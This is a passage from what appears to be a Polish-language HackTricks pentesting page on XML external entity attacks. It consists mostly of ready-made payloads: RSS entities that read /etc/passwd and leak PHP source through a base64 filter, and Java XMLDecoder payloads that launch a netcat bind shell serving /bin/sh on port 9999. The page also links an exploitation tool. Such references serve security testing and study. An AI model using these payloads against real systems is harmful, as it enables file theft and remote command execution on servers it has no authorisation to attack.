<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Przeczytaj kod źródłowy

Używając filtru base64 w PHP

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE do RCE

XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody readObject, natychmiast uzyska wykonanie kodu na serwerze.

Używanie Runtime().exec()

xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Narzędzia

{{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}}

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks